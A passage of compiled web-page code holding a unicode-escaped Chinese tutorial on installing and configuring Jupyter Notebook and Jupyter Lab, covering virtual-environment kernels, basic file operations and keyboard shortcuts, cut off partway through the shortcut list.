\u7b80\u8ff0"}),"\n",(0,i.jsxs)(n.p,{children:["\u5728\u6570\u636e\u79d1\u5b66\uff0c\u673a\u5668\u5b66\u4e60\uff0c\u6df1\u5ea6\u5b66\u4e60\u4e2d\uff0c\u6211\u4eec\u5e0c\u671b\u5373\u65f6\u8fdb\u884c\u56fe\u50cf\u7684\u53ef\u89c6\u5316\u548c\u51fd\u6570\u7684\u8ba1\u7b97\uff0c\u57fa\u4e8e\u8fd9\u79cd\u9700\u6c42\uff0c\u4eba\u4eec\u5f00\u53d1\u51fa\u4e86\u57fa\u4e8e\u7f51\u9875\u7684\u7528\u4e8e\u4ea4\u4e92\u8ba1\u7b97\u7684\u5e94\u7528\u7a0b\u5e8fJupyter Notebook\u3002\u5728\u6211\u4eec\u7684\u6559\u7a0b\u4ee3\u7801\u4e5f\u662f\u57fa\u4e8eJupyter notebook\u3002\u9664\u6b64\u4e4b\u5916\uff0c\u5b83\u4eec\u53ef\u88ab\u5e94\u7528\u4e8e\u5168\u8fc7\u7a0b\u8ba1\u7b97\uff1a\u5f00\u53d1\u3001\u6587\u6863\u7f16\u5199\u3001\u8fd0\u884c\u4ee3\u7801\u548c\u5c55\u793a\u7ed3\u679c\u3002\u5728Jupyter Notebook\u4e2d\u7f16\u5199\u7684\u6587\u6863\u4fdd\u5b58\u4e3a",(0,i.jsx)(n.code,{children:".ipynb"}),"\u7684",(0,i.jsx)(n.code,{children:"JSON"}),"\u683c\u5f0f\u6587\u4ef6\uff0c\u6587\u6863\u53ef\u4ee5\u5bfc\u51fa\u4e3aHTML\u3001LaTeX\u3001markdown\u3001PDF\u7b49\u683c\u5f0f\u3002Jupyter Notebook\u7684\u4e3b\u8981\u7279\u70b9\u6709\uff1a"]}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsxs)(n.p,{children:["\u7f16\u7a0b\u65f6\u5177\u6709",(0,i.jsx)(n.strong,{children:"\u8bed\u6cd5\u9ad8\u4eae"}),"\u3001",(0,i.jsx)(n.em,{children:"\u7f29\u8fdb"}),"\u3001",(0,i.jsx)(n.em,{children:"tab\u8865\u5168"}),"\u7684\u529f\u80fd\u3002"]}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u53ef\u76f4\u63a5\u901a\u8fc7\u6d4f\u89c8\u5668\u8fd0\u884c\u4ee3\u7801\uff0c\u540c\u65f6\u5728\u4ee3\u7801\u5757\u4e0b\u65b9\u5c55\u793a\u8fd0\u884c\u7ed3\u679c\u3002"}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u4ee5\u5bcc\u5a92\u4f53\u683c\u5f0f\u5c55\u793a\u8ba1\u7b97\u7ed3\u679c\u3002\u5bcc\u5a92\u4f53\u683c\u5f0f\u5305\u62ec\uff1aHTML\uff0cLaTeX\uff0cPNG\uff0cSVG\u7b49\u3002"}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u5bf9\u4ee3\u7801\u7f16\u5199\u8bf4\u660e\u6587\u6863\u6216\u8bed\u53e5\u65f6\uff0c\u652f\u6301Markdown\u8bed\u6cd5\u3002"}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u652f\u6301\u4f7f\u7528LaTeX\u7f16\u5199\u6570\u5b66\u6027\u8bf4\u660e\u3002"}),"\n"]}),"\n"]}),"\n",(0,i.jsx)(n.p,{children:"\u9664\u6b64\u4e4b\u5916\uff0c\u597d\u7528\u7684Jupyter Notebook\u8fd8\u6709\u4e2a\u201c\u53cc\u80de\u80ce\u201d\u2014\u2014Jupyter Lab\u3002Jupyter Lab\u662f\u57fa\u4e8eWeb\u7684\u96c6\u6210\u5f00\u53d1\u73af\u5883\uff0c\u53ef\u4ee5\u628a\u5b83\u5f53\u4f5c\u8fdb\u5316\u7248\u7684Jupyter Notebook\u3002\u4f7f\u7528Jupyter Lab\u53ef\u4ee5\u540c\u65f6\u5728\u4e00\u4e2a\u6d4f\u89c8\u5668\u9875\u9762\u6253\u5f00\u7f16\u8f91\u591a\u4e2aNotebook\u3001Ipython console\u548cterminal\u7ec8\u7aef\uff0c\u751a\u81f3\u53ef\u4ee5\u4f7f\u7528Jupyter Lab\u8fde\u63a5Google Drive\u7b49\u670d\u52a1\u3002\u7531\u4e8eJupyter Lab\u62e5\u6709\u6a21\u5757\u5316\u7ed3\u6784\uff0c\u63d0\u4f9b\u66f4\u591a\u7c7b\u4f3cIDE\u7684\u4f53\u9a8c\uff0c\u5df2\u7ecf\u6709\u8d8a\u6765\u8d8a\u591a\u7684\u4eba\u4ece\u4f7f\u7528Jupyter Notebook\u8f6c\u5411\u4f7f\u7528Jupyter Lab\u3002"}),"\n",(0,i.jsx)(n.p,{children:"[* ]\u901a\u8fc7\u672c\u7ae0\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsx)(n.li,{children:"\u5b89\u88c5\u548c\u914d\u7f6eJupyter Notebook\u548cJupyter Lab\u7684\u65b9\u6cd5"}),"\n",(0,i.jsx)(n.li,{children:"Jupyter Notebook\u7684\u57fa\u672c\u64cd\u4f5c\u548c\u5feb\u6377\u952e"}),"\n",(0,i.jsx)(n.li,{children:"\u4f7f\u7528Jupyter Notebook\u7f16\u5199\u4ee3\u7801\u7684\u65b9\u5f0f"}),"\n",(0,i.jsx)(n.li,{children:"\u4e86\u89e3Jupyter Notebook\u7684Bash\u547d\u4ee4\u548c\u9b54\u672f\u547d\u4ee4"}),"\n",(0,i.jsx)(n.li,{children:"\u4e3aJupyter Notebook\u5b89\u88c5\u62d3\u5c55\u63d2\u4ef6\u7684\u65b9\u6cd5"}),"\n"]}),"\n",(0,i.jsx)(n.h2,{id:"1-jupyter-notebooklab\u5b89\u88c5",children:"1 Jupyter Notebook/Lab\u5b89\u88c5"}),"\n",(0,i.jsxs)(n.ol,{children:["\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u5b89\u88c5Jupyter Notebook\uff1a\u6fc0\u6d3b\u865a\u62df\u73af\u5883\u540e\uff0c\u6211\u4eec\u53ea\u9700\u8981\u5728\u7ec8\u7aef\u8f93\u5165\u6307\u4ee4"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"conda install jupyter notebook\n# pip install jupyter notebook\n"})}),"\n"]}),"\n"]}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u6ce8\uff1a\u5982\u679cpip\u7248\u672c\u8fc7\u4f4e\uff0c\u8fd8\u9700\u63d0\u524d\u8fd0\u884c\u66f4\u65b0pip\u7684\u6307\u4ee4"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"pip install --upgrade pip\n"})}),"\n"]}),"\n"]}),"\n",(0,i.jsxs)(n.ol,{start:"2",children:["\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u5b89\u88c5Jupyter Lab\uff1a\u6fc0\u6d3b\u73af\u5883\u540e\uff0c\u6211\u4eec\u540c\u6837\u4e5f\u53ea\u9700\u8981\u5728\u7ec8\u7aef\u8f93\u5165\u6307\u4ee4"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"conda install -c conda-forge jupyterlab\n# pip install jupyterlab\n"})}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u5728\u7ec8\u7aef\u8f93\u5165\u6307\u4ee4\u6253\u5f00Jupyter Notebook"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"jupyter notebook # \u6253\u5f00Jupyter Notebook\njupyter lab # \u6253\u5f00Jupyter Lab\n"})}),"\n"]}),"\n"]}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u5982\u679c\u6d4f\u89c8\u5668\u6ca1\u6709\u81ea\u52a8\u6253\u5f00Jupyter Notebook\u6216\u8005Jupyter Lab\uff0c\u590d\u5236\u7aef\u53e3\u4fe1\u606f\u7c98\u8d34\u81f3\u6d4f\u89c8\u5668\u6253\u5f00"}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20220812162810305",src:e(43972).A+"",width:"1329",height:"86"})}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u5982\u679c\u60f3\u8981\u81ea\u5b9a\u4e49\u7aef\u53e3\uff0c\u5728\u7ec8\u7aef\u8f93\u5165\u5982\u4e0b\u6307\u4ee4\u4fee\u6539"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"jupyter notebook --port \n"})}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u5982\u679c\u60f3\u542f\u52a8\u670d\u52a1\u5668\u4f46\u4e0d\u6253\u5f00\u6d4f\u89c8\u5668\uff0c\u53ef\u4ee5\u5728\u7ec8\u7aef\u8f93\u5165"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"jupyter notebook --no-browser\n"})}),"\n"]}),"\n"]}),"\n",(0,i.jsx)(n.h2,{id:"2-jupyter-notebooklab\u914d\u7f6e",children:"2 Jupyter Notebook/Lab\u914d\u7f6e"}),"\n",(0,i.jsx)(n.h3,{id:"21-\u8bbe\u7f6e\u6587\u4ef6\u5b58\u653e\u4f4d\u7f6e",children:"2.1 \u8bbe\u7f6e\u6587\u4ef6\u5b58\u653e\u4f4d\u7f6e"}),"\n",(0,i.jsx)(n.p,{children:"\u200b\t\u5728\u4f7f\u7528Jupyter Notebook/Jupyter Lab\u65f6\uff0c\u5982\u679c\u6211\u4eec\u60f3\u8981\u66f4\u6539\u9ed8\u8ba4\u6587\u4ef6\u5b58\u653e\u8def\u5f84\uff0c\u8be5\u600e\u4e48\u529e\uff1f"}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsx)(n.li,{children:"Jupyter Notebook"}),"\n"]}),"\n",(0,i.jsxs)(n.ol,{children:["\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u6211\u4eec\u9996\u5148\u9700\u8981\u67e5\u770b\u914d\u7f6e\u6587\u4ef6\uff0c\u53ea\u9700\u8981\u5728\u7ec8\u7aef\u8f93\u5165"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"jupyter notebook --generate-config\n"})}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u6211\u4eec\u8bb0\u4f4f\u51fa\u73b0\u914d\u7f6e\u6587\u4ef6\u7684\u8def\u5f84\uff0c\u590d\u5236\u5230\u6587\u4ef6\u5939\u4e2d\u6253\u5f00\uff08\u7ec8\u7aef\u8fd9\u91cc\u53ef\u4ee5\u5199N\uff09"}),"\n"]}),"\n"]}),"\n",(0,i.jsx)(n.img,{src:"figures/image-20220716235510697.png",alt:"image-20220716235510697",style:{zoom:"50%"}}),"\n",(0,i.jsxs)(n.ol,{start:"4",children:["\n",(0,i.jsx)(n.li,{children:"\u5728\u6587\u4ef6\u5939\u4e2d\u53cc\u51fb\u6253\u5f00\u914d\u7f6e\u6587\u4ef6"}),"\n"]}),"\n",(0,i.jsx)(n.img,{src:"figures/image-20220716235540827.png",alt:"image-20220716235540827",style:{zoom:"50%"}}),"\n",(0,i.jsxs)(n.ol,{start:"5",children:["\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsxs)(n.p,{children:["\u6253\u5f00Python\u6587\u4ef6\u540e\uff0c\u7528",(0,i.jsx)(n.code,{children:"Ctrl+F"}),"\u5feb\u6377\u952e\u67e5\u627e\uff0c\u8f93\u5165\u5173\u952e\u8bcd\uff0c\u627e\u5230",(0,i.jsx)(n.code,{children:"# c.NotebookApp.notebook_dir = ''"})]}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsxs)(n.p,{children:["\u53bb\u6389\u6ce8\u91ca\uff0c\u5e76\u586b\u5145\u8def\u5f84",(0,i.jsx)(n.code,{children:"c.NotebookApp.notebook_dir = 'D:\\\\Adatascience'"})]}),"\n"]}),"\n"]}),"\n",(0,i.jsx)(n.img,{src:"figures/image-20220804170455298.png",alt:"image-20220804170455298",style:{zoom:"50%"}}),"\n",(0,i.jsxs)(n.ol,{start:"7",children:["\n",(0,i.jsxs)(n.li,{children:["\u6b64\u65f6\u6211\u4eec\u5728\u7ec8\u7aef\u4e2d\u8f93\u5165",(0,i.jsx)(n.code,{children:"jupyter notebook"}),"\uff0c\u6253\u5f00\u9875\u9762\u540e\u53d1\u73b0\u6587\u4ef6\u9ed8\u8ba4\u8def\u5f84\u5df2\u7ecf\u88ab\u66f4\u6539\u3002\u4f46\u662f\u70b9\u51fb\u83dc\u5355\u680f\u4e2d\u7684\u5e94\u7528\u5feb\u6377\u65b9\u5f0f\u6253\u5f00Jupyter Notebook\uff0c\u6253\u5f00\u9875\u9762\u53d1\u73b0\u6587\u4ef6\u4f4d\u7f6e\u4ecd\u7136\u662f\u9ed8\u8ba4\u8def\u5f84"]}),"\n"]}),"\n",(0,i.jsx)(n.img,{src:"figures/image-20220716235931573.png",alt:"image-20220716235931573",style:{zoom:"25%"}}),"\n",(0,i.jsxs)(n.ol,{start:"8",children:["\n",(0,i.jsx)(n.li,{children:"\u5982\u679c\u6211\u4eec\u60f3\u8981\u66f4\u6539\u5e94\u7528\u5feb\u6377\u65b9\u5f0fJupyter Notebook\u7684\u6587\u4ef6\u4f4d\u7f6e\uff0c\u6b64\u65f6\u9700\u8981\u53f3\u952e\u9009\u4e2d\u5feb\u6377\u65b9\u5f0f\uff0c\u6253\u5f00\u6587\u4ef6\u6240\u5728\u4f4d\u7f6e\u3002\u518d\u53f3\u952e\u70b9\u51fb\u5feb\u6377\u65b9\u5f0f\uff0c\u67e5\u770b\u5c5e\u6027\uff0c\u518d\u70b9\u51fb\u5feb\u6377\u65b9\u5f0f"}),"\n"]}),"\n",(0,i.jsx)(n.img,{src:"figures/image-20220717000530228.png",alt:"image-20220717000530228",style:{zoom:"25%"}}),"\n",(0,i.jsx)(n.img,{src:"figures/image-20220804171027983.png",alt:"image-20220804171027983",style:{zoom:"25%"}}),"\n",(0,i.jsxs)(n.ol,{start:"9",children:["\n",(0,i.jsx)(n.li,{children:"\u6211\u4eec\u53ea\u9700\u8981\u5728\u201c\u76ee\u6807\u201d\u4e2d\u5220\u9664\u7ea2\u6846\u6807\u8bb0\u90e8\u5206\uff0c\u70b9\u51fb\u786e\u5b9a"}),"\n"]}),"\n",(0,i.jsx)(n.img,{src:"figures/image-20220717001243904.png",alt:"image-20220717001243904",style:{zoom:"50%"}}),"\n",(0,i.jsxs)(n.ol,{start:"10",children:["\n",(0,i.jsx)(n.li,{children:"\u6b64\u65f6\u518d\u6253\u5f00\u83dc\u5355\u680f\u4e2dJupyter Notebook\u7684\u5feb\u6377\u65b9\u5f0f\uff0c\u53d1\u73b0\u9875\u9762\u6587\u4ef6\u8def\u5f84\u5df2\u7ecf\u53d8\u4e3a\u4e4b\u524d\u81ea\u4e3b\u8bbe\u7f6e\u7684\u8def\u5f84\u5566\uff01"}),"\n"]}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsx)(n.li,{children:"Jupyter Lab\u7684\u4fee\u6539\u64cd\u4f5c\u548cJupyter Notebook\u6d41\u7a0b\u76f8\u4f3c\uff0c\u4f46\u662f\u5728\u7ec6\u8282\u4e0a\u6709\u4e9b\u4e0d\u540c"}),"\n"]}),"\n",(0,i.jsxs)(n.ol,{children:["\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u540c\u6837\u6211\u4eec\u8fd8\u662f\u9996\u5148\u9700\u8981\u67e5\u770b\u914d\u7f6e\u6587\u4ef6\uff0c\u5728\u7ec8\u7aef\u8f93\u5165"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"jupyter lab --generate-config\n"})}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u627e\u5230\u914d\u7f6e\u6587\u4ef6\u6240\u5728\u7684\u6587\u4ef6\u5939\uff0c\u6253\u5f00\u914d\u7f6e\u6587\u4ef6"}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsxs)(n.p,{children:["\u4fee\u6539\u914d\u7f6e\u6587\u4ef6\u65f6\uff0c\u7528",(0,i.jsx)(n.code,{children:"Ctrl+F"}),"\u5feb\u6377\u952e\u67e5\u627e\uff0c\u8f93\u5165\u5173\u952e\u8bcd\uff0c\u627e\u5230",(0,i.jsx)(n.code,{children:"# c.ServerApp.notebook_dir"}),"\uff0c\u53bb\u6389\u6ce8\u91ca\u3002\u6539\u4e3a",(0,i.jsx)(n.code,{children:"c.ServerApp.notebook_dir = 'D:\\\\Adatascience\uff08\u8fd9\u91cc\u586b\u81ea\u5df1\u60f3\u6539\u7684\u6587\u4ef6\u8def\u5f84\uff09'"})]}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u4e4b\u540e\u7684\u6b65\u9aa4\u548cJupyter Notebook\u4fee\u6539\u914d\u7f6e\u6587\u4ef6\u7684\u7b2c\u4e03\u81f3\u7b2c\u5341\u6b65\u76f8\u540c"}),"\n"]}),"\n"]}),"\n",(0,i.jsx)(n.h3,{id:"22-\u4f7f\u7528\u865a\u62df\u73af\u5883",children:"2.2 \u4f7f\u7528\u865a\u62df\u73af\u5883"}),"\n",(0,i.jsx)(n.p,{children:"\u200b\t\t\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0cAnaconda\u5b89\u88c5\u7684\u865a\u62df\u73af\u5883\u548cJupyter Notebook\u8fd0\u884c\u9700\u8981\u7684Kernel\u5e76\u4e0d\u4e92\u901a\u3002\u90a3\u4e48\u6211\u4eec\u8be5\u5982\u4f55\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\uff0c\u5e76\u4e14\u5982\u679c\u6211\u4eec\u60f3\u8981\u5207\u6362\u5185\u6838\uff08Change Kernel\uff09\uff0c\u8be5\u5982\u4f55\u64cd\u4f5c\u5462\uff1f"}),"\n",(0,i.jsxs)(n.ol,{children:["\n",(0,i.jsxs)(n.li,{children:["\u5c06\u5728Anaconda\u4e2d\u521b\u5efa\u7684\u865a\u62df\u73af\u5883\u6dfb\u52a0",(0,i.jsx)(n.code,{children:"ipykernel"})]}),"\n"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"# \u5982\u679c\u8fd8\u6ca1\u521b\u5efa\u73af\u5883\uff0c\u5728\u521b\u5efa\u65f6\u8981\u52a0\u4e0aipykernel\nconda create -n env_name python=3.8 ipykernel\n# \u5982\u679c\u5df2\u7ecf\u521b\u5efa\u73af\u5883\uff0c\u5728\u73af\u5883\u4e2d\u5b89\u88c5ipykernel\npip install ipykernel\n"})}),"\n",(0,i.jsxs)(n.ol,{start:"2",children:["\n",(0,i.jsx)(n.li,{children:"\u5c06\u865a\u62df\u73af\u5883\u5199\u8fdbJupyter"}),"\n"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:'python -m ipykernel install --user --name env_name --display-name "env_name"\n'})}),"\n",(0,i.jsxs)(n.ol,{start:"3",children:["\n",(0,i.jsxs)(n.li,{children:["\u5728",(0,i.jsx)(n.code,{children:"Kernel"}),"\u4e2d\u66f4\u6362\u6dfb\u52a0\u7684\u865a\u62df\u73af\u5883\u5373\u53ef"]}),"\n"]}),"\n",(0,i.jsx)(n.img,{src:"figures/image-20220812171025719.png",alt:"image-20220812171025719",style:{zoom:"25%"}}),"\n",(0,i.jsx)(n.h2,{id:"3-jupyter-notebooklab\u57fa\u672c\u64cd\u4f5c",children:"3 Jupyter Notebook\\Lab\u57fa\u672c\u64cd\u4f5c"}),"\n",(0,i.jsx)(n.h3,{id:"31-\u57fa\u672c\u4f7f\u7528",children:"3.1 \u57fa\u672c\u4f7f\u7528"}),"\n",(0,i.jsx)(n.h4,{id:"311-jupyter-notebook",children:"3.1.1 Jupyter Notebook"}),"\n",(0,i.jsxs)(n.ol,{children:["\n",(0,i.jsx)(n.li,{children:"\u521b\u5efa\u6587\u4ef6\uff1a\u70b9\u51fb\u53f3\u4e0a\u89d2New\uff0c\u9009\u62e9Notebook\uff1b\u521b\u5efa\u6587\u4ef6\u5939\uff1a\u70b9\u51fb\u53f3\u4e0a\u89d2New\uff0c\u9009\u62e9Folder"}),"\n"]}),"\n",(0,i.jsx)(n.img,{src:"figures/image-20220805024106987.png",alt:"image-20220805024106987",style:{zoom:"25%"}}),"\n",(0,i.jsxs)(n.ol,{start:"2",children:["\n",(0,i.jsx)(n.li,{children:"\u5220\u9664\u6587\u4ef6\uff1a\u70b9\u51fb\u6587\u4ef6\u524d\u7684\u65b9\u6846\uff0c\u518d\u70b9\u51fb\u5220\u9664\u56fe\u6807"}),"\n"]}),"\n",(0,i.jsx)(n.img,{src:"figures/image-20220805030406608.png",alt:"image-20220805030406608",style:{zoom:"25%"}}),"\n",(0,i.jsxs)(n.ol,{start:"3",children:["\n",(0,i.jsx)(n.li,{children:"\u91cd\u547d\u540d\u6587\u4ef6\uff1a\u5f53\u6587\u4ef6\u5728\u8fd0\u884c\u65f6\uff08\u5373\u6587\u4ef6\u524d\u56fe\u6807\u4e3a\u7eff\u8272\uff09\uff0c\u9700\u8981\u5148\u70b9\u51fb\u201cShutdown\u201d\uff08\u5173\u95ed\u7ec8\u7aef\uff09\uff0c\u518d\u70b9\u51fb\u201cRename\u201d"}),"\n"]}),"\n",(0,i.jsx)(n.img,{src:"figures/image-20220805031209481.png",alt:"image-20220805031209481",style:{zoom:"25%"}}),"\n",(0,i.jsxs)(n.ol,{start:"4",children:["\n",(0,i.jsx)(n.li,{children:"\u91cd\u547d\u540d\u6587\u4ef6\u5939\uff1a\u70b9\u51fb\u6587\u4ef6\u5939\u524d\u7684\u65b9\u6846\uff0c\u518d\u70b9\u51fb\u201cRename\u201d"}),"\n",(0,i.jsx)(n.li,{children:"\u590d\u5236\uff08Duplicate\uff09\u3001\u79fb\u52a8\uff08Move\uff09\u3001\u4e0b\u8f7d\uff08Download\uff09\u3001\u67e5\u770b\uff08View\uff09\u7b49\u64cd\u4f5c\uff0c\u540c\u6837\u53ef\u4ee5\u70b9\u51fb\u6587\u4ef6\u524d\u7684\u65b9\u6846\uff0c\u518d\u70b9\u4e0a\u65b9\u7684\u56fe\u6807\u8fdb\u884c\u64cd\u4f5c"}),"\n"]}),"\n",(0,i.jsx)(n.h4,{id:"312-jupyter-lab",children:"3.1.2 Jupyter Lab"}),"\n",(0,i.jsxs)(n.ol,{children:["\n",(0,i.jsx)(n.li,{children:"\u7ea2\u6846\u5185\u6309\u94ae\u4ece\u5de6\u5230\u53f3\u5206\u522b\u662f\u65b0\u5efa\u6587\u4ef6\u3001\u65b0\u5efa\u6587\u4ef6\u5939\u3001\u4e0a\u4f20\u6587\u4ef6\u548c\u5237\u65b0"}),"\n"]}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20220805033034092",src:e(29734).A+"",width:"1286",height:"288"})}),"\n",(0,i.jsxs)(n.ol,{start:"2",children:["\n",(0,i.jsx)(n.li,{children:"\u4e0a\u4f20\u591a\u4e2a\u6587\u4ef6\u7684\u65b9\u6cd5\uff1a"}),"\n"]}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsx)(n.li,{children:"\u5c06\u6587\u4ef6\u6253\u5305\u6210\u4e00\u4e2azip\u538b\u7f29\u5305"}),"\n",(0,i.jsx)(n.li,{children:"\u4e0a\u4f20\u8be5\u538b\u7f29\u5305"}),"\n",(0,i.jsxs)(n.li,{children:["\u89e3\u538b\u6587\u4ef6",(0,i.jsx)(n.code,{children:"!unzip (\u538b\u7f29\u5305\u6240\u5728\u8def\u5f84) -d (\u89e3\u538b\u8def\u5f84)"}),"\uff0c\u4f8b\u5982\uff1a",(0,i.jsx)(n.code,{children:"!unzip coco.zip -d data/coco"})]}),"\n",(0,i.jsx)(n.li,{children:"\u5220\u9664\u8be5\u538b\u7f29\u5305"}),"\n"]}),"\n",(0,i.jsx)(n.h3,{id:"32-\u5e38\u7528\u5feb\u6377\u952e",children:"3.2 \u5e38\u7528\u5feb\u6377\u952e"}),"\n",(0,i.jsxs)(n.ol,{children:["\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u5165\u95e8\u64cd\u4f5c"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"# \u589e\u52a0\uff0c\u51cf\u5c11\uff0c\u526a\u5207\uff0c\u4fdd\u5b58\uff0c\u5220\u9664\u7b49\n# a, b, x, s, dd\n\n# \u5408\u5e76\uff0c\u6267\u884c\u672c\u5355\u5143\u4ee3\u7801\uff0c\u5e76\u8df3\u8f6c\u5230\u4e0b\u4e00\u5355\u5143\uff0c\u6267\u884c\u672c\u5355\u5143\u4ee3\u7801\uff0c\u7559\u5728\u672c\u5355\u5143\n# Shift+M Shift+Enter Ctrl+Enter\n\n# \u663e\u793a\u884c\u6570\uff0c\u5207\u6362markdown/code\n# l, m/y\n"})}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"Jupyter Notebook\u4e2d\u6309\u4e0bEnter\u8fdb\u5165\u7f16\u8f91\u6a21\u5f0f\uff0c\u6309\u4e0bEsc\u8fdb\u5165\u547d\u4ee4\u6a21\u5f0f"}),"\n"]}),"\n"]}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.strong,{children:"\u7f16\u8f91\u6a21\u5f0f\uff08\u7eff\u8272\uff09"})}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20220805144702521",src:e(84582).A+"",width:"2786",height:"118"})}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.strong,{children:"\u547d\u4ee4\u6a21\u5f0f\uff08\u84dd\u8272\uff09"})}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20220805144722375",src:e(39705).A+"",width:"2793",height:"125"})}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u5728\u547d\u4ee4\u6a21\u5f0f\u4e0b\uff0c\u70b9\u51fbh\uff0c\u4f1a\u5f39\u51fa\u5feb\u6377\u952e\u7a97\u53e3"}),"\n"]}),"\n"]}),"\n",(0,i.jsx)(n.img,{src:"figures/image-20220805144803441.png",alt:"image-20220805144803441",style:{zoom:"25%"}}),"\n",(0,i.jsxs)(n.ol,{start:"3",children:["\n",(0,i.jsx)(n.li,{children:"Jupyter Lab\u540c\u6837\u6709\u4e24\u79cd\u6a21\u5f0f\u3002\u6309\u4e0bEnter\u8fdb\u5165\u7f16\u8f91\u6a21\u5f0f\uff0c\u6309\u4e0bEsc\u8fdb\u5165\u547d\u4ee4\u6a21\u5f0f"}),"\n"]}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsx)(n.li,{children:"\u7f16\u8f91\u6a21\u5f0f\uff08\u6709\u6846\u7ebf\u65e0\u5149\u6807\uff09"}),"\n"]}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20220805145218241",src:e(54822).A+"",width:"2932",height:"116"})}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsx)(n.li,{children:"\u547d\u4ee4\u6a21\u5f0f\uff08\u65e0\u6846\u7ebf\u65e0\u5149\u6807\uff09"}),"\n"]}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20220805150721875",src:e(68696).A+"",width:"2922",height:"115"})}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsx)(n.li,{children:"\u5feb\u6377\u952e\u64cd\u4f5c\u4e0eJupyter Notebook\u57fa\u672c\u76f8\u540c\uff0c\u53ef\u53c2\u8003\u4e0a\u4e00\u90e8\u5206"}),"\n"]}),"\n",(0,i.jsxs)(n.ol,{start:"4",children:["\n",(0,i.jsx)(n.li,{children:"\u5feb\u6377\u952e\u6c47\u603b"}),"\n"]}),"\n",(0,i.jsxs)(n.p,{children:["\u200b\t\t\t\u547d\u4ee4\u6a21\u5f0f\uff08\u6309",(0,i.jsx)(n.code,{children:"Esc"}),"\uff09"]}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Enter"})," : \u8f6c\u5165\u7f16\u8f91\u6a21\u5f0f"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Shift-Enter"})," : \u8fd0\u884c\u672c\u5355\u5143\uff0c\u9009\u4e2d\u4e0b\u4e2a\u5355\u5143"]}),"\n",(0,i.jsxs)(n.li,{children:[(0,i.jsx)(n.strong,{children:"Ctrl-Enter"})," : 